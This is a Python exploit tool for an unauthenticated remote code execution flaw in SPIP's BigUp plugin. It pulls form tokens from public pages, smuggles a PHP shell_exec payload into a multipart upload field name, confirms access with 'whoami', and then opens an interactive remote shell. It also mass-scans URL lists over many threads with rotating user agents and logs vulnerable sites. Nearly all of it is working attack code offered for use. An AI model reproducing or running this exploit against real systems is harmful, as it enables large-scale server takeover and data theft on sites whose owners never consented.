import sys
import base64
import random
import string
import requests
import concurrent.futures
import rich_click as click
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem
requests.packages.urllib3.disable_warnings()
class SpipBigUp:
    def __init__(self, base_url, verbose=True, proxy=None):
        self.base_url = base_url
        self.proxies = {"http": proxy, "https": proxy} if proxy else None
        self.verbose = verbose
        software_names = [SoftwareName.CHROME.value, SoftwareName.FIREFOX.value]
        operating_systems = [
            OperatingSystem.WINDOWS.value,
            OperatingSystem.LINUX.value,
            OperatingSystem.MAC.value,
        ]
        user_agent_rotator = UserAgent(
            software_names=software_names,
            operating_systems=operating_systems,
            limit=100,
        )
        self.headers = {"User-Agent": user_agent_rotator.get_random_user_agent()}
    def custom_print(self, message: str, header: str) -> None:
        header_mapping = {
            "+": "",
            "-": "",
            "!": "",
            "*": "",
        }
        emoji = header_mapping.get(header, "?")
        formatted_message = f"{emoji} {message}"
        click.echo(click.style(formatted_message, bold=True, fg="white"))
    def get_form_action_args(self):
        parsed_url = urlparse(self.base_url)
        custom_path = parsed_url.path.lstrip("/")
        pages = []
        if custom_path:
            pages.append(custom_path)
        pages.extend(["login", "spip_pass", "contact"])
        for page in pages:
            url = (
                f"{parsed_url.scheme}://{parsed_url.netloc}/{page}"
                if custom_path and page == custom_path
                else f"{self.base_url}/spip.php?page={page}"
            )
            try:
                response = requests.get(
                    url,
                    headers=self.headers,
                    proxies=self.proxies,
                    verify=False,
                    timeout=5,
                )
                if response.status_code != 200:
                    continue
                soup = BeautifulSoup(response.text, "html.parser")
                form_data = {
                    "action": soup.find("input", {"name": "formulaire_action"}),
                    "args": soup.find("input", {"name": "formulaire_action_args"}),
                }
                form_data = {k: v.get("value") for k, v in form_data.items() if v}
                if len(form_data) == 2:
                    return form_data
            except requests.exceptions.RequestException as e:
                if self.verbose:
                    self.custom_print(
                        f"Failed to fetch form data from `{page}` page: {e}", "-"
                    )
        return None
    def post_article_form(self, form_data, command):
        try:
            boundary = "".join(
                random.choices(string.ascii_letters + string.digits, k=16)
            )
            random_name = "".join(random.choices(string.ascii_letters, k=4))
            random_filename = "".join(random.choices(string.ascii_letters, k=4))
            php_payload = (
                f'header("X-Command-Output: " . base64_encode(shell_exec(base64_decode("{command}"))))'
            ).replace('"', '\\"')
            parts = [
                f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action"\r\n\r\n{form_data["action"]}',
                f'--{boundary}\r\nContent-Disposition: form-data; name="bigup_retrouver_fichiers"\r\n\r\n1',
                f'--{boundary}\r\nContent-Disposition: form-data; name="{random_name}[\' . {php_payload} . die() . \']"; filename="{random_filename}"\r\nContent-Type: text/plain\r\n\r\nContenu du fichier!',
                f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action_args"\r\n\r\n{form_data["args"]}',
                f"--{boundary}--",
            ]
            body = "\r\n".join(parts)
            headers = self.headers.copy()
            headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"
            response = requests.post(
                self.base_url,
                data=body,
                headers=headers,
                proxies=self.proxies,
                verify=False,
                timeout=5,
            )
            return response
        except requests.exceptions.RequestException as e:
            pass
    def execute_command(self, form_data, command):
        encoded_command = base64.b64encode(command.encode()).decode()
        response = self.post_article_form(form_data, encoded_command)
        if response and response.status_code == 200:
            encoded_output = response.headers.get("X-Command-Output")
            if encoded_output:
                decoded_output = base64.b64decode(encoded_output).decode()
                return decoded_output
        return None
    def check_vulnerability(self):
        form_data = self.get_form_action_args()
        if not form_data:
            return False, None
        output = self.execute_command(form_data, "whoami")
        if output:
            return True, output
        return False, None
    def interactive_shell(self):
        session = PromptSession(history=InMemoryHistory())
        form_data = self.get_form_action_args()
        if not form_data:
            self.custom_print(
                "Failed to retrieve `formulaire_action_args` value from both `login` and `contact` pages.",
                "-",
            )
            return
        self.custom_print("Interactive shell started. Type `exit` to quit.", "*")
        while True:
            cmd = session.prompt(
                HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
            ).strip()
            if cmd.lower() == "exit":
                self.custom_print("Exiting shell...", "*")
                break
            if cmd.lower() == "clear":
                sys.stdout.write("\x1b[2J\x1b[H")
                continue
            output = self.execute_command(form_data, cmd)
            if output:
                print(output)
            else:
                self.custom_print("Failed to receive response from the server.", "-")
@click.rich_config(help_config=click.RichHelpConfiguration(use_markdown=True))
@click.command(
    help="""
        # SPIP BigUp Unauthenticated RCE Exploit
        Exploits a **Remote Code Execution vulnerability** in SPIP versions up to and including **4.3.1**.  
        The vulnerability lies in the **BigUp plugin**, where improperly handled file uploads can lead to **arbitrary PHP code execution**.  
        By crafting a malicious multipart form request, an attacker can gain remote code execution on the server.
        ## Use this tool responsibly.
    """
)
@click.option(
    "-u",
    "--url",
    help="The **target URL** that you want to scan and potentially exploit.",
)
@click.option(
    "-f",
    "--file",
    help="File containing a **list of URLs** to scan for vulnerabilities.",
)
@click.option(
    "-t",
    "--threads",
    default=50,
    show_default=True,
    help="The number of **threads** to use during scanning.",
)
@click.option(
    "-o",
    "--output",
    help="Specify an **output file** to save the list of vulnerable URLs.",
)
@click.option(
    "--proxy",
    help="Proxy to use for the requests (e.g., http://localhost:8080).",
)
def main(url, file, threads, output, proxy):
    if url:
        spip = SpipBigUp(url, proxy)
        is_vulnerable, output = spip.check_vulnerability()
        if is_vulnerable:
            spip.custom_print(f"Target is vulnerable! Command Output: {output}", "+")
            spip.interactive_shell()
        else:
            spip.custom_print(
                "The target is not vulnerable or the exploit failed.", "-"
            )
    elif file:
        urls = []
        with open(file, "r") as url_file:
            urls = [line.strip() for line in url_file if line.strip()]
        def process_url(url):
            spip = SpipBigUp(url, proxy)
            is_vulnerable, command_output = spip.check_vulnerability()
            return spip, url, is_vulnerable, command_output
        with alive_bar(len(urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                futures = {executor.submit(process_url, url): url for url in urls}
                for future in concurrent.futures.as_completed(futures):
                    spip, url, is_vulnerable, command_output = future.result()
                    if is_vulnerable:
                        spip.custom_print(f"Vulnerable URL: {url}", "+")
                        if command_output:
                            spip.custom_print(f"Command Output: {command_output}", "+")
                        if output:
                            with open(output, "a") as f:
                                f.write(f"{url}\n")
                    bar()
    else:
        click.echo("You must specify either a single URL or a file containing URLs.")
if __name__ == "__main__":
    main()
                              
                        
                    
                
              
                
             
          
          
暂无评论